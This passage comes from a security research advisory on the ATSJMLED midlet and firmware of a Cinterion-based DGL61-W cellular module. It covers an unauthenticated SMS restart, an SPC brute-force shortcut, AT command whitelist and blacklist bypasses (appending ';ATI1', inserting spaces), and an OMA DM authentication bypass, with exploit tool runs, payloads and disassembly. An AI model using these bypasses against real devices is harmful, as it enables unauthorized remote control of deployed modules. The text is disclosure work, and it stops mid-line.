a7 = 0x00000000 - a8 = 0x00000000 res: 0xaabbccdd ``` The `retmagic` subroutine does one thing, it return a magic value of `0xaabbccdd` in register r0: ``` _start: b _skip .word MAGIC_START .magic: .word 0xaabbccdd _skip: push {r1-r12,lr} ldr r0,.magic pop {r1-r12,pc} end: ``` This is the result shown by the execution above. ### ISSUE 7 - TARGET OS WITH WEAK TASK / MEMORY SEPARATION The target operating system is running nearly 180 tasks as shown by the output below: ``` telcin> threads PMUIRQBH addr: 812ab064 func: 8611824d TS_ST_TIMER addr: 80db50fc func: 8611824d TS_SD_TIMER addr: 80db51e8 func: 8611824d TS_LP_TIMER addr: 80db5010 func: 8611824d EXPTHR addr: 80d09010 func: 861119bf EXPHIGHP addr: 80d0914c func: 86111adb STARTTHR addr: 80d09288 func: 86111bcf EXPSDTTH addr: 80db2008 func: 860bfccd STARTTHR addr: 80db2144 func: 860bfdb1 HPBH addr: 812a5100 func: 8611824d I2C_TASK addr: 815d8008 func: 86055b09 I2C1_HISR addr: 815da2bc func: 8611824d SEC_DMA2_INT_BH_TX addr: 81945b58 func: 8611824d DMA2_INT_BH_RX addr: 81945c44 func: 8611824d DMA2_INT_BH_ERR addr: 81945d30 func: 8611824d NVM_TASK addr: 80eab008 func: 860a3a8d TadOctTh addr: 805b2034 func: 866d449b TadOctBthf addr: 80f31898 func: 8611824d gate_rt addr: 80f24834 func: 86222225 EDUMP addr: 81899164 func: 8671915b EICC_HISR addr: 816cf014 func: 8611824d EPHY_TAS addr: 8189e000 func: 866f5bb1 ERTT_HP_ addr: 818a70a0 func: 866f0477 ERTT_LP_ addr: 818a91b4 func: 866f048f gct addr: 809c5e00 func: 86124035 GctBh addr: 809c5ed4 func: 8611824d GctCbBh addr: 809c69e0 func: 8611824d sio_l2pd addr: 809ceb90 func: 86138965 ... ``` System tasks are however executed in a similar address space as Java task: ``` telcin> thread "LTE Main" [LTE Main] addr: 80e42c24 func: 86691fb9 handler: 863798d4 next: 80e5d90c prev: 813e4110 delhandler: 00000000 telcin> thread JVM [JVM] addr: 81ecdca8 func: 86b31778 handler: 863798d4 next: 81f61598 prev: 80e9febc delhandler: 86b31708 ``` System tasks' memory is also available for access to Java task. This is partly due to the fact that the target ARM11 process is running in Supervisor mode: ``` telcin> cpuinfo [CPU INFO] - vendor: ARM Limited - model: ARM1176 - mode: Supervisor - MMU: enabled ``` As result, all memory corresponding to device flash and RAM can be extracted from the device. OS operation (tasks execution flow) can be manipulated. OS implementation can be also reverse engineered. Sample memory content acquired with the use of `extractmem` command is available in `device` directory. The results of reverse-engineering are available in `data` directory. ### ISSUE 8 - ATSJMLED MIDLET (NO AUTH FOR RESET) DGL61-W contains ATSJMLED midlet, which is automatically executed upon system start-up. This is due to the `Oracle-MIDlet-Autostart` JAD property: ``` MIDlet-1: Main,,Main MIDlet-Jar-Size: 345412 MIDlet-Jar-URL: ATSJMLED.jar MIDlet-Name: ATSJMLED MIDlet-Vendor: Mullenger MIDlet-Version: 0.1.27 MicroEdition-Configuration: CLDC-1.1 MicroEdition-Profile: IMP-NG Oracle-MIDlet-Autostart: 1 Oracle-MIDlet-Restart: true Oracle-MIDlet-Restart-Count: 1000 autoStartWWAN: 1 allowRestarts: 1 ``` The ATSJMLED is the only application running on the device along JRC: ``` telcin> appinfo -r #### RUNNING APPS #### [ATSJMLED] url: a:/ATSJMLED.jad vendor: Mullenger version 0.1.27 autostart: 1 priority: 0 [Java Remote Control MIDlet Suite] url: a:/JRC-1.62.04.jad vendor: Cinterion version 1.62.04 autostart: 1 priority: 1 ``` ATSJMLED midlet registers SMS listener, which awaits commands delivered as text messages. One of the commands make it possible to restart the module: ``` test@boytoy:~/telcin/exploit$ ./run -c restart -v ## ATSJMLED exploit # ## (c) SECURITY EXPLORATIONS 2018 Poland # ## http://www.security-explorations.com # ## (c) AG Security Research 2019-2022 Poland # ## http://www.agsecurityresearch.com # ## # - number = +48xxxxxx - plaintext = false - cmd = restart - imei = 6088 - imsi = 8747 - idx = -1 - endidx = -1 - atcmd = null - batch = false - verbose = true [RESTART] * PLAIN MSG: RESTART * ENCR MSG: SECMSG9312bd3a8ec06cf54aef28fbfa64fca5 ``` Upon reception by the module of the RESTART command (with ATSJMLED code changed, so that it allows for the logging of SMS input and output to `System.out`), the following output can be observed on the console: ``` [ATCommandListener]: '+CIEV: ceer,26,187' [Main]: AT^SWWAN=1,1 (for autoStartWWAN) [ATCommandListener]: '+CIEV: ciphcall,1' [ATCommandListener]: '+CMTI: "SM",15' is missing "\n"! AGSR checkIncomingCharacters: SECMSG9312bd3a8ec06cf54aef28fbfa64fca5 AGSR in msg len: 7 AGSR in msg: RESTART [HardwareManager]: Module will now be restarted using AT+CFUN=1,1. [HardwareStatusThread]: Thread has finished. [MyRuntimeThread]: Thread has finished. ... ``` The module gets indeed rebooted. ### ISSUE 9 - ATSJMLED MIDLET (BAD LOGIC FOR AUTH CHECK) ATSJMLED implements support for AT commands execution. Before it can be used, that functionality needs to be unlocked though. And unlocking requires a security check (SPC check). The security check does the following: - it verifies whether the SPC try counter value is less than 5, if this is the case steps 1-5 get executed - it retrieves 4 last digits of the device IMEI number (IMEI4) - it retrieves 4 last digits of the device IMSI number (IMSI4) - it calculates the SPC value, which is the IMEI4 XOR IMSI4, the result is mapped to letters - it verifies whether the value provided for the SPC by the user inside SMS message matches the SPC - if there is a match, AT commands execution get unlocked (magic `ssh` directory is created in the root of A:/ to mark that), if not the SPC try counter value is incremented Theoretically, the possible space for valid SPC values is 4^16=65536 (decimal digit represented as a 4bit value when XORed with another decimal digit can produce a hex digit, this ^16). The probabiity that the user can successfully guess the SPC value within the 5 possible try counts is 5/65536 and it should require 65536 SMS messages to send... These are only theoretical basis though as: - the SPC try counter can be reset to zero through ATSJMLED restart (RESTART SMS command + ATSJMLED launch at system start up attribute). - the check for valid SPC string is conducted with the use of `indexOf` method of java.lang.String class ``` private boolean SPC(String s) { boolean flag = false; if(spc != null && spc.equals("")) if(!HardwareManager.getRedactedIMEI().equals("") && !SimManager.getRedactedIMSI().equals("")) { byte abyte0[] = HardwareManager.getRedactedIMEI().getBytes(); byte abyte1[] = SimManager.getRedactedIMSI().getBytes(); if(abyte0 != null && abyte1 != null) { abyte0[0] = (byte)((abyte0[0] ^ abyte1[0]) + 65); abyte0[1] = (byte)((abyte0[1] ^ abyte1[1]) + 65); abyte0[2] = (byte)((abyte0[2] ^ abyte1[2]) + 65); abyte0[3] = (byte)((abyte0[3] ^ abyte1[3]) + 65); spc = new String(abyte0); } } else { System.out.println("[AtcParser]: Warning: SPC init error."); } if(s != null && spcErrors <= 4) { if(spc != null && spc.length() == 4 && s.toUpperCase().indexOf(" " + spc.toUpperCase()) > 0) { spcErrors = 0; flag = true; } else { System.out.println("[AtcParser]: Warning: SPC incorrect."); spcErrors++; spc = ""; } } else { System.out.println("[AtcParser]: Warning: Too many SPC errors."); } return flag; } ``` This makes it possible to "embed" multiple SPC values in one SMS message as illustrated below: ``` [space] SPC_VALUE_1 [space] SPC_VALUE_2 [space] SPC_VALUE_1 [space] ... SPC_VALUE_N ``` Taking into account that the maximum length of the SMS message is 160 characters, this leads to the possibility to embed (and verify) 30 SPC values at once with the use of on SMS message. With 5 try counts this yields 150 SPC combinations to check before RESTART message. After RESTART message, 1 minute or two delay should be taken into account before the modules gets initialized. Still, this lets decrease the brute force space for device unlocking by a huge factor (2184 unlock SMS messages instead of 65536). The unlocking functionality was verified to operate as described above (android\exploit code): ``` [UNLOCK] * spc OGHI OGHJ OGHK OGHL OGHM OGHN OGHO OGHP OGIA OGIB OGIC OGID OGIE * PLAIN MSG: #UNLCK OGHI OGHJ OGHK OGHL OGHM OGHN OGHO OGHP OGIA OGIB OGIC OGID OGIE * ENCR MSG: SECMSGae3922b21cd2c942cc89b457b7bfcf545b9560eaaab035d863998b6674a4d2bb1340d5622e55859af8f0cb6656c809a49fa569d3030f4f388340659033fbeaa7712ad63959da01ad19436785832c55ee [UNLOCK] * spc OGIF OGIG OGIH OGII OGIJ OGIK OGIL OGIM OGIN OGIO OGIP OGJA OGJB * PLAIN MSG: #UNLCK OGIF OGIG OGIH OGII OGIJ OGIK OGIL OGIM OGIN OGIO OGIP OGJA OGJB * ENCR MSG: SECMSGca6638699121843fcf3c5664be59e504bfd1bda068fe33c7416feefa49c451e99905e7693b1f301fd53ae5276513e3d8cbc3cdf4e7c8924a42fda1d6a16cc26940d842179a0c3a0fea13f2cba89c066e [UNLOCK] * spc OGJC OGJD OGJE OGJF OGJG OGJH OGJI OGJJ OGJK OGJL OGJM OGJN OGJO * PLAIN MSG: #UNLCK OGJC OGJD OGJE OGJF OGJG OGJH OGJI OGJJ OGJK OGJL OGJM OGJN OGJO * ENCR MSG: SECMSG0d7ae57bd86b51fa8442569a83de06da14d8f3398a4d575a88a784f58c712073010d19df200aa3313c17ebc47505936af6776ea3d3bc1050c3043ee297748d63b703b2dffb6e48b411da2c6f21a12005 [UNLOCK] * spc OGJP OGKA OGKB OGKC OGKD OGKE OGKF OGKG OGKH OGKI OGKJ OGKK OGKL * PLAIN MSG: #UNLCK OGJP OGKA OGKB OGKC OGKD OGKE OGKF OGKG OGKH OGKI OGKJ OGKK OGKL * ENCR MSG: SECMSGeefcd33cdcbac52e11c4ecc33b76ee1e9db44650a499949cf96c828660b04901f024d22b45db3c9bc169fab8c238903c5f1f9f59dde22b09a14f9c5fc755823b4dd9430050a7596c36a8d78a6fb4d609 [UNLOCK] * spc OGKM OGKN OGKO OGKP OGLA OGLB OGLC OGLD OGLE OGLF OGLG OGLH OGLI * PLAIN MSG: #UNLCK OGKM OGKN OGKO OGKP OGLA OGLB OGLC OGLD OGLE OGLF OGLG OGLH OGLI * ENCR MSG: SECMSG2012e39f5ab952adcaae1e45398f0edbf7cca3da53080e52ccecc81e258d6ff14a96bb4068fbd92c7a7f004fc3dce3989559c459127a1ebe096802fd4964d5c3767e5e8a781e718a9038184d9f554cbc [RESTART] * PLAIN MSG: RESTART * ENCR MSG: SECMSG9312bd3a8ec06cf54aef28fbfa64fca5 ``` Upon unlocking, the following was observed in the System.out log: ``` [Main]: AT^SWWAN=1,1 (for autoStartWWAN) AGSR checkIncomingCharacters: SECMSG70b37360230b3667e57358dd5d150211 AGSR in msg len: 11 AGSR in msg: #UNLCK OHMP [AtcParser]: lockingATCommands() 0 - Unlocked. [AtcParser]: parseCommandsInSMS() called (true) && (true) [SmsHandler]: Waiting for next SMS... ``` Sending 2184 SMS messages is to be done in bunch of 5 (the number of SPC try counts). This means, that about 436 restarts need to be done. Assuming 1min for the restart, the attack should be completed within 436 minutes (7,28h). This data can be estimated with the use of Android exploit code too: ``` test@boytoy:~/telcin/exploit$ ./run -c spcinfo -p ## ATSJMLED exploit # ## (c) SECURITY EXPLORATIONS 2018 Poland # ## http://www.security-explorations.com # ## (c) AG Security Research 2019-2022 Poland # ## http://www.agsecurityresearch.com # ## # [SPCINFO] - imei: 6088 - imsi: 8747 - spc: OHMP - idx: 59343 - maxidx: 65536 - attack time: 427 min [7h 7 min] ``` ### ISSUE 10 - ATSJMLED MIDLET (WHITELIST BYPASS) Unlocking AT command in ATSJMLED midlet does not mean that any AT command can be executed on a device. The target AT command needs to be on the `ALLOWED` list of commands: ``` private static final String ALLOWED[] = { "AT^SCFG?", "AT^SCID", "AT^SCPIN", "AT^SGIO", "AT^SSIO", "AT^SCPOL", "AT^SFDL=2", "AT^SGAUTH", "AT^SIND=", "AT^SJAM=", "AT^SJM", "AT^SJOTAP", "AT^SMONI", "AT^SXRAT", "AT^SGAUTH", "AT^SWWAN", "AT+CCID", "AT+CXXCID", "AT+CEER", "AT+CEREG", "AT+CFUN", "AT+CGACT", "AT+CGATT", "AT+CGCONTRDP", "AT+CGDCONT", "AT+CGMI", "AT+CGMR", "AT+CGPADDR", "AT+CGREG", "AT+CGSN", "AT+CHLD", "AT+CIMI", "AT+CLCC", "AT+CNUM", "AT+COPS", "AT+CPLS", "AT+CPOL", "AT+CREG", "AT+CRSM", "ATA", "ATD444;", "ATI1" }; ``` This can be bypassed though as: - the device makes it possible to concatenate AT commands with the use of ; character - the check for the allowed command is again conducted with teh use of with the use of `indexOf` method of `java.lang.String` class: ``` public String ensureAllowedATCommand(String s, boolean flag) { String s1; if(s != null) { s1 = "AT-notAllowed"; for(int i = 0; i < ALLOWED.length; i++) if(s.trim().toUpperCase().indexOf(ALLOWED[i]) != -1) { if(flag) System.out.println("[AtcParser]: Allowed AT Command '" + s.trim() + "' accepted."); s1 = s; i = ALLOWED.length; } } else { System.out.println("[AtcParser]: ensureAllowedATCommand() aborted."); s1 = s; } if(s1.equals("AT-notAllowed") && flag) System.out.println("[AtcParser]: Warning not allowed AT Command '" + s.trim() + "' rejected."); return s1; } ``` The exploit requires to send `;ATI1` at the end of any AT command to execute for the bypass. This behavior of the AT command processor can be verified with teh use of command shell: ``` telcin> ls [a:/] ATSJMLED.jad --r 350 ATSJMLED.jar --r 345412 agent.jar --- 57053 agent.jad --- 416 telcin> set MODEM_VERBOSE 1 telcin> at "at^SFSA='mkdir','A:/test';ATI1" -> CMD at^SFSA="mkdir","A:/test";ATI1 <- RSP ^SFSA: 0 ERROR telcin> set MODEM_VERBOSE 0 telcin> ls [a:/] ATSJMLED.jad --r 350 ATSJMLED.jar --r 345412 agent.jar --- 57053 agent.jad --- 416 test/ d-- 0 telcin> ``` ### ISSUE 11 - ATSJMLED MIDLET (BLACKLIST BYPASS) Unlocking AT command in ATSJMLED midlet does not mean that any AT command can be executed on a device. The target AT command cannot be present on the `BLOCKED` list of commands: ``` private static final String BLOCKED[] = { "^SCFG=", "^SFDL", "^SFSA", "^SIC", "^SIS", "^SJAM=0", "^SJAM=1", "^SJAM=2", "^SJAM=3", "^SJDL", "^SJRA", "^SMSEC", "^SMSO", "+CFUN=0", "+CMGS", "+CMUX", "+CPIN=", "+CPIN2=", "ATI^", "ATI+" }; ``` This list contains SFSA (file system access) command. Again, this can be bypassed too due to the specifics of AT commands handling by the module. More specifically, the AT command reader tends to skip (eliminate) spaces from the input. Thus, one can send have arbitrary ` ` (space) characters inserted in AT commands for the AT parser input. The parser will remove spaces and glue the commands before dispatch (successful one). Thus, for the successful execution of the SFSA command at the target (unlocked) device, one can just insert space between ^ and SFSA: ``` est@boytoy:~/telcin/exploit$ ./run -c atcmd -a "^sfsa='mkdir','a:/test'" -v ## ATSJMLED exploit # ## (c) SECURITY EXPLORATIONS 2018 Poland # ## http://www.security-explorations.com # ## (c) AG Security Research 2019-2022 Poland # ## http://www.agsecurityresearch.com # ## # - number = +48xxxxxx - plaintext = false - cmd = atcmd - imei = 6088 - imsi = 8747 - idx = -1 - endidx = -1 - atcmd = ^sfsa='mkdir','a:/test' - batch = false - verbose = true [ATCMD] * cmd ^sfsa="mkdir","a:/test" * PLAIN MSG: #AT^ sfsa="mkdir","a:/test";ATI1 * ENCR MSG: SECMSGf26a91522d40437f39b7e875bdea0f6c86ee63a8e6724017bcb4734480eed54ea0bb852367107b457a86925eabb51020 test@boytoy:~/telcin/exploit$ ``` Again, this behavior of the AT command processor can be verified with the use of command shell: ``` telcin> ls [a:/] ATSJMLED.jad --r 350 ATSJMLED.jar --r 345412 agent.jar --- 57053 agent.jad --- 416 telcin> set MODEM_VERBOSE 1 telcin> at "AT^ sfsa='mkdir','a:/test';ATI1" -> CMD AT^ sfsa="mkdir","a:/test";ATI1 <- RSP ^SFSA: 0 ERROR telcin> set MODEM_VERBOSE 0 telcin> ls [a:/] ATSJMLED.jad --r 350 ATSJMLED.jar --r 345412 agent.jar --- 57053 agent.jad --- 416 test/ d-- 0 ``` ### ISSUE 12 - OMA DM PROVISIONING AUTH CHECK BYPASS Target device implements functionality related to OMA Device Management. The device contains factory default values that implicate DM servers of ATT operator: ``` telcin> start a:/agent.jad OK telcin> omadmcfg -s omadm.config -p buf: 0x83ba2cf0 omadm_nvm_sta_read res: 0x00000001 [PRODUCTION] APPLICATION - AppID w7 - ServerID Cingular - Name Cingular - Addr https://xdm.wireless.att.com/oma - PortNbr 443 APPAUTH - AAuthLevel CLCRED - AAuthType DIGEST - AAuthName xxxxxxxxxxxxxxx - AAuthSecret xxxxxxxxxxxxxxxx - AAuthData null APPAUTH - AAuthLevel SRVCRED - AAuthType DIGEST - AAuthName Cingular - AAuthSecret xxxxxxxxxxxxxxxx - AAuthData null [LAB] APPLICATION - AppID w7 - ServerID ATTLabA - Name ATTLabA - Addr https://xdmua.wireless.labs.att.com/oma - PortNbr 443 APPAUTH - AAuthLevel CLCRED - AAuthType DIGEST - AAuthName xxxxx - AAuthSecret xxxxx - AAuthData null APPAUTH - AAuthLevel SRVCRED - AAuthType DIGEST - AAuthName xxxxxxx - AAuthSecret xxxxx - AAuthData null telcin> ``` The OMA DM Provisioning message requires authentication before any device management operation can be issued. There is a vulnerability in the implementation of the security check though. This is illustrated by the `dm.scr` script: ``` telcin> start a:/agent.jad OK telcin> run dm.scr telcin> telcin> memory device MEMORY MODE: device telcin> telcin> wmem 0x8117848C 082906301231707874 writing data to 8117848c 00000000: 08 29 06 30 12 31 70 78 74 .).0.1pxt telcin> telcin> tracelog [TRACE LOG] - trace_handler: 839623d0 - logbuf: 838623c4 - data_size: 00000000 - read_pos: 00000000 - log_full: 0 telcin> telcin> recvdmmsg -p "" SMS - FirstOctet 00000000: 74 t - Addr: +48xxxxxxxx 00000000: 0b 91 84 xx xx xx xx xx ........ - PID 00000000: 00 . - DCS 00000000: 04 . - TimeStamp 00000000: 17 01 0a 13 2e 18 04 ....... - UserData * hdr len 06 00000000: 05 04 11 22 33 44 ..."3D * ud len (with hdr) 47 00000000: 01 06 06 00 00 b6 91 80 92 41 42 43 44 45 46 47 .........ABCDEFG 00000010: 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 HIJKLMNOPQRSTUVW 00000020: 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 XYZ[.]^_.abcdefg 00000030: 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 01 01 01 hi..j..F....U... - DM Push * transaction_id 01 * PDU type 06 * headers 00 00 b6 91 80 92 - DM Data * data 00000000: 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 ABCDEFGHIJKLMNOP 00000010: 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 QRSTUVWXYZ[.]^_. 00000020: 61 62 63 64 65 66 67 68 69 03 0b 6a 00 c5 46 01 abcdefghi..j..F. 00000030: c6 00 01 55 01 01 01 ...U... OS MSG 00000000: 62 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx b....!.w.t...... 00000010: xx xx 00 04 17 01 0a 13 2e 18 04 47 06 05 04 11 ...........G.... 00000020: 22 33 44 01 06 06 00 00 b6 91 80 92 41 42 43 44 "3D.........ABCD 00000030: 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 EFGHIJKLMNOPQRST 00000040: 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 UVWXYZ[.]^_.abcd 00000050: 65 66 67 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 efghi..j..F....U 00000060: 01 01 01 ... SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task res: 0x00000000 telcin> telcin> tracelog [TRACE LOG] - trace_handler: 839623d0 - logbuf: 838623c4 - data_size: 00005013 - read_pos: 00000000 - log_full: 0 [C-AT]UtaCatIoAsyncSelectCb: dev_hdl=262168,evt=0x2 [C-AT]CatIO_Async_cb:dev_hdl=262168,evt=0x2 ~CAT~CatCsiMsNetServingCellMonitorIndCb ~CAT~Cat_CsiMsNetServingCellMonitorIndCb URC Type : +XSCM >< SIM ID : 0>< count of processors : 29 URC Type : SIGNALSTRENGTH >< SIM ID : 0>< count of processors : 29 URC Type : +XCESQI >< SIM ID : 0>< count of processors : 29 SNMON_ncell_check_update with bSnmonNbcCfg=1, isCellCollectionRun=0, dhc=0, cou tdown=0 SNMON for 4G: earfcn=65535, pci=65535 SNMON for 4G: earfcn=65535, pci=65535 SNMON for 4G: earfcn=65535, pci=65535 SNMON for 4G: earfcn=65535, pci=65535 SNMON for 4G: earfcn=65535, pci=65535 SNMON for 4G: earfcn=65535, pci=65535 SNMON for 4G: earfcn=65535, pci=65535 SNMON for 4G: earfcn=65535, pci=65535 SNMON for 4G: earfcn=65535, pci=65535 SNMON for 4G: earfcn=65535, pci=65535 SNMON NBC info: CsiMsNetCellIdReq to rat=0, n_4g=0, n_3g=0 SNMON NBC info: no valid ncell, skip the celll scan. [C-AT]UtaCatIoAsyncSelectCb: dev_hdl=262168,evt=0x2 [C-AT]CatIO_Async_cb:dev_hdl=262168,evt=0x2 [VRC_Event_OnJrcSetDataMode] disable SCC: T:1 jBlocked ON [vrc_jrc_set_datamode] ret = 0 ... URC Type : +XSCM >< SIM ID : 0>< count of processors : 29 Size of the hex data 98 3GPP Deliver message pdu -> 07918405210077F7740B9184xxxxxxxxxx000417010A132E1804 47060504112233440106060000B69180924142434445464748494A4B4C4D4E4F5051525354555657 58595A5B5C5D5E5F60616263646566676869030B6A00C54601C6000155010101 ../../3p_oss_apache/libdmclient/src/omadm/omadm_sms.c-OmadmUtaSms3gppFilterFunct ion(2484): UDHI&L 1 6 OmadmUtaSms3gppFilterFunction: isFragmented = FALSE ../../3p_oss_apache/libdmclient/src/omadm/omadm_sms.c-OmadmSmsGetDmServerDataFro mWspPacket(656): reassLen 67 omadm_sms_hmac_sha1_hex: digest[0]==d7 omadm_sms_hmac_sha1_hex: digest[1]==7f omadm_sms_hmac_sha1_hex: digest[2]==c8 omadm_sms_hmac_sha1_hex: digest[3]==8e omadm_sms_hmac_sha1_hex: digest[4]==9c omadm_sms_hmac_sha1_hex: digest[5]==16 omadm_sms_hmac_sha1_hex: digest[6]==86 omadm_sms_hmac_sha1_hex: digest[7]==45 omadm_sms_hmac_sha1_hex: digest[8]==c2 omadm_sms_hmac_sha1_hex: digest[9]==a1 omadm_sms_hmac_sha1_hex: digest[10]==4a omadm_sms_hmac_sha1_hex: digest[11]==71 omadm_sms_hmac_sha1_hex: digest[12]==b0 omadm_sms_hmac_sha1_hex: digest[13]==67 omadm_sms_hmac_sha1_hex: digest[14]==00 omadm_sms_hmac_sha1_hex: digest[15]==ea omadm_sms_hmac_sha1_hex: digest[16]==df omadm_sms_hmac_sha1_hex: digest[17]==6c omadm_sms_hmac_sha1_hex: digest[18]==82 omadm_sms_hmac_sha1_hex: digest[19]==92 OMADMCLIENT(OmadmSmsGetDmServerDataFromWspPacket,714): macval == ABCDEFGHIJKLMNO PQRSTUVWXYZ[\]^_`abcdefghi¦>j OMADMCLIENT(OmadmSmsGetDmServerDataFromWspPacket,715): digest == d77fc88e9c16864 5c2a14a71b06700eadf6c8292 OmadmSmsGetDmServerDataFromWspPacket: OMADM_SMS_BOOTSTRAP. URC Type : +CIEV_SIND >< SIM ID : 0>< count of processors : 29 URC Type : +CIEV_SIND >< SIM ID : 0>< count of processors : 29 OmadmThreadServerDataReceive: omadmLen = 17 OMADM_CLIENT: OmadmClientThreadInit Called OmadmClientThreadInit: thread created successfully OmadmClientEnable: SUCCESS : OmadmClientThreadInit() OMADM_CLIENT: OmadmClientThreadStart Called OmadmClientThreadStart: Thread started successfully OmadmClientEnable: SUCCESS : OmadmClientThreadStart() OmadmThreadServerDataReceive: Success returned from OmadmClientThreadEnable() OmadmThreadServerDataReceive: OMADM_SESSION_INITIATOR_BOOTSTRAP OmadmThreadServerDataReceive: Sending message to OMADM thread err=0 OMADM-THREAD(OmadmClientThreadFunction, 474): msg type=3 OMADM_CLIENT: Calling OmadmLibdmStartSession() DmPluginsInit: Warning: DmPluginsInit Init already done. OMADM_CLIENT: Calling OmadmLibdmStartSession() OMADM_LIBDM(OmadmLibdmStartSession,525).....START OMADM-LINK(OmadmLinkProviderInit, 155) SIMID = 0, CAT_CONTEXTID = 1342177280 OMADM_LIBDM(OmadmLibdmStartSession,560): initiator=3. OMADM_LIBDM(OmadmLibdmStartSession,585): Handling OMADM_SESSION_INITIATOR_BOOTSTRAP, b omadmclient_session_start_on_bootstrap : failed to get next token, err = 8206 OMADM_LIBDM(../../3p_oss_apache/libdmclient/src/omadm/omadm_libdm.c,602): err 2. URC Type : +CIEV_SIND >< SIM ID : 0>< count of processors : 29 OMADM_LIBDM(OmadmLibdmStartSession, 660): Session opening failed: 2 ``` As our test is conducted offline, we need to prepare the device a little bit (write IMSI value to proper memory content). Then a device management message is send locally to atc:1 task. The message is intentionally flawed (Provisioning WBXML is missing tag). The goal is to show that the auth is bypassed though as the tracelog: - is missing `security check fail` message which is issued by the code below upon check failure: ``` ROM:86BDCF08 BLX agsr_omadm_security_check__ ROM:86BDCF0C CMP R0, #0 ROM:86BDCF10 LDRNE R2, =0x2D9 ROM:86BDCF14 LDRNE R1, =aOmadmsmsgetdms_0 ; "OmadmSmsGetDmServerDataFromWspPacket" ROM:86BDCF18 ADRNE R0, aOmadmclientSDS ; "OMADMCLIENT(%s,%d): security check fail"... ROM:86BDCF1C BEQ loc_86BDD078 ; -> ok ROM:86BDCF20 ``` - is processing Provisioning message WBXML as indicated by the `wap-provisioningdoc` and APPLICATION `characteristic` tags. This implicates successful security check bypass (without providing correct hash / digest values). #### IMPACT The possibility to establish a successful OMA DM session with a target device usually implicates the ability to manage it with the privileges of the device owner. This privilege is usually granted to mobile network operators (such as ATT or VERIZON WIRELESS - the firmware contains code snippets indicating such a support). The devil lies in the details though... Brief analysis of OMA DM plugins' implementation indicates that these do not implement the `exec` function: ``` ROM:86BDB498 sub_86BDB498 ; CODE XREF: agsr_AttPluginLoadDevInfo+20↓p ROM:86BDB498 MOV R0, #0x30 ; '0' ROM:86BDB49C PUSH {R4,LR} ROM:86BDB4A0 BL agsr_OmadmMalloc_0 ROM:86BDB4A4 MOVS R4, R0 ROM:86BDB4A8 BEQ loc_86BDB4F8 ROM:86BDB4AC MOV R1, #0x30 ; '0' ROM:86BDB4B0 BL agsr_memset_with_zero ROM:86BDB4B4 ADR R0, aDevinfo_0 ; "./DevInfo" ROM:86BDB4B8 BL agsr_omadm_strdup ROM:86BDB4BC STR R0, [R4] ; base_uri ROM:86BDB4C0 ADR R0, sub_86BDB464 ; initFunc ROM:86BDB4C4 STR R0, [R4,#4] ROM:86BDB4C8 LDR R0, =agsr_AttPluginDMAccPrvClose ; closeFunc ROM:86BDB4CC STR R0, [R4,#8] ROM:86BDB4D0 ADR R0, sub_86BDB460 ; isNodeFunc ROM:86BDB4D4 STR R0, [R4,#0xC] ROM:86BDB4D8 ADR R0, sub_86BDB418 ; findURNFunc; ROM:86BDB4DC STR R0, [R4,#0x10] ROM:86BDB4E0 ADR R0, agsr_wrap_AttPluginDMAccPrvGet_internal_1 ; getFunc ROM:86BDB4E4 STR R0, [R4,#0x14] ROM:86BDB4E8 ADR R0, sub_86BDB29C ; setFunc ROM:86BDB4EC STR R0, [R4,#0x18] ROM:86BDB4F0 ADR R0, sub_86BDB298 ; getACLFunc ROM:86BDB4F4 STR R0, [R4,#0x1C] ROM:86BDB4F8 ROM:86BDB4F8 loc_86BDB4F8 ; CODE XREF: sub_86BDB498+10↑j ROM:86BDB4F8 MOV R0, R4 ROM:86BDB4FC POP {R4,PC} ``` The `get` and `set` functions do not seem to implement file system based functionality (no download or file upload). However, the `set` function routes the message to `uta_cat` queue of `UTACAT` thread: ``` ROM:861F6552 PUSH {R3-R5,LR} ROM:861F6554 MOV R5, R0 ROM:861F6556 MOVS R0, #0x1C ROM:861F6558 MOV R4, R1 ROM:861F655A BL agsr_wrap_UtaCmmMemoryAllocate ROM:861F655E CMP R0, #0 ROM:861F6560 BEQ locret_861F6580 ; -> error ROM:861F6562 MOVS R1, #0xA ROM:861F6564 STR R1, [R0] ROM:861F6566 MOVS R1, #0x14D ROM:861F656A STR R5, [R0,#4] ROM:861F656C STR R1, [R0,#8] ROM:861F656E LDM R4, {R1-R4} ROM:861F6570 MOV R5, R0 ROM:861F6572 ADDS R5, #0xC ROM:861F6574 STM R5!, {R1-R4} ROM:861F6576 MOV R1, SP ROM:861F6578 STR R0, [SP] ROM:861F657A MOVS R0, #1 ROM:861F657C BL agsr_cat_send_osmsg_0 ; send 0x0a/0x14d msg to UTACAT thread ``` The message handling ends up triggering the invocation of `+XOMADMREP` at command (URC?): ``` ROM:861F6582 agsr_send_XOMADMREP ; CODE XREF: sub_8621A318+3A↓p ROM:861F6582 ROM:861F6582 var_8 = -8 ROM:861F6582 ROM:861F6582 PUSH {R3,LR} ROM:861F6584 MOVS R3, #0 ROM:861F6586 MOV R2, R1 ; msg data+0x0c ROM:861F6588 ADR R1, aXomadmrep ; "+XOMADMREP" ROM:861F658A STR R3, [SP,#8+var_8] ROM:861F658C BL agsr_send_urc___ ROM:861F6590 POP {R3,PC} ``` Its description indicates that the command performs read / write access to OMA DM repository: ``` +XOMADMREP addr: 81ec6a90 handler: 861f626d Read/Write OMA DM repository ``` The above likely implicates no ability to access file system or execute arbitrary (any) AT commands from the remote as part of the OMA DM session. However, DGL-61W could be special as the main management session is implemented with the use of a Java based `SLAE` midlet (and Sensor Logic server). It is worth to verify: - all of the above - whether other Cinterion modems / modules are vulnerable to the issue and what kind of functionality their OMA DM implementation supports. ### ISSUE 13 - OMA DM PROVISIONING SOME MEMORY ISSUES Upon testing OMA DM provisioning message, device boot has been initially experienced. This was due to the fact that the OMA message was not verified for message size. As a result, unexpectedly short message (the one that had less data than the expected digital digest hashes) could result in the invalid memory access. This issue has is origin in a code location illustrated below: ``` ROM:86BDCEA8 BEQ loc_86BDCF20 ; -> exit ROM:86BDCEAC MOV R1, #0x44 ; 'D' ROM:86BDCEB0 ADD R0, SP, 